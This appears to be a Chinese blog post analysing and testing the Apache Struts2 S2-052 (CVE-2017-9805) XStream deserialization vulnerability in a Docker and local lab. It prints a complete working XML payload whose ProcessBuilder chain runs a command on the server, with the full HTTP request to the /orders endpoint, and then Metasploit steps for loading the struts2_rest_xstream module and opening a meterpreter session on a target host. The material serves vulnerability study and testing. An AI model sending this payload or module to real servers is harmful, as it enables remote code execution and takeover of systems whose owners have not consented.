Struts2 S2-052 RCE简单测试

一笑奈何 提交于 2020-11-01 20:02:52



本文由玄魂和 方块K 合写。


不太愿意跟风写类似的文章,网友“方块K” 投了一篇相关文章过来,但是略显简略,我重新进行了扩展。

参考了网上的相关文章,自己重新做 实验,算不上原创。

1.1 简介

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

参考: https://cwiki.apache.org/confluence/display/WW/S2-052

https://lgtm.com/blog/apache_struts_CVE-2017-9805

1.2 漏洞分析

根据补丁分析, 构造相对应的漏洞检测数据包。使用调试工具分析,发现Action经过REST插件处理时会被ContentTypeInterceptor这个类拦截,进入intercept方法如下图所示:

这个Intercept拦截方法很重要,分三步:

第一步:getHandlerForRequest方法会判断提交的请求类型,如果是XML的话就交给XStreamHandler调用toObject方法

第二步:如果浏览器提交的数据包长度大于0的话就获取其输入流,然后将数据包生成一个InputStreamReader对象也就是reader

第三步:调用XStreamHandler的toObject方法将reader数据流进行xml反序列化。

这里XStream并没有对reader的内容进行验证,导致反序列化漏洞。

使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码,导致服务器被攻陷。

下面我们进行简单的测试.

1.3 漏洞测试

测试环境,我这里使用docker,在我的远程vps主机上先安装了docker,然后拉取测试镜像。

docker pull medicean/vulapps:s_struts2_s2-052

拉取成功之后,运行环境:

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

在浏览器访问服务器的ip,按照文档应该访问http://ip/struts2-rest-showcase/,我访问之后报错,直接访问了orders。如下图:

这是一个简单的测试页面,单击按钮新建新的订单。

在 submit之前,先启动fiddler,捕获post请求。

下面我们拷贝原始请求内容,使用fiddler 的Composer功能,模拟发送请求。

先把Content-Type 改成 application/xml,然后body部分添加我们的攻击Payload。完整数据如下:

POST http://127.0.0.1/orders HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type:application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=D04B384774478A5895806A89610B8392

<?xml version="1.0" encoding="utf-8"?>

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command>
                        <string>/usr/bin/touch</string>
                        <string>/tmp/xuanhuntest</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

上面 的payload中,注意这一段:

这是我们的测试代码,如果成功在tmp目录下创建xuanhuntest文件,即可证明该漏洞,可以被利用执行任意命令。

下面发送模拟数据,然后到远程主机上,登录测试的docker实例,查看结果。

从结果上看,我们可以执行任意命令,危害还是很大的。

1.4 msf利用

下面是 方块k 做的实验。

测试环境

攻击者kali ip 192.168.189.128

被攻击者ubuntu 16.04 ip 192.168.189.137

测试步骤

参考文章http://blog.csdn.net/redfoxtao/article/details/73865395?utm_source=itdadao&utm_medium=referral 安装基本的web环境。

然后下载相应的漏洞程序

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 然后将struts2-rest-showcase.war放进webapps中

到下面的地址下载msf扩展模块。

https://github.com/rapid7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb

存放到目录:

/usr/share/metasploit-framework/modules/exploits/multi/http/

启动msf,加载模块。

use exploit/multi/http/struts2_rest_xstream_052
set LHOST 192.168.189.128
set TARGETURI http://192.168.189.137:8080/struts2-rest-showcase/orders.xhtml
set RHOST 192.168.189.137
set RPORT 8080
run

拿到metereter之后,查看下ip,看是否是被攻击机的IP地址。

只是一个简单的测试,做个记录,仅供参考。


欢迎关注--玄魂工作室

-------------------------------------------------------------------------

双11送书,征集书单

--------------------------------------------------------------------

多谢打赏


本文分享自微信公众号 - 玄魂工作室(xuanhun521)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!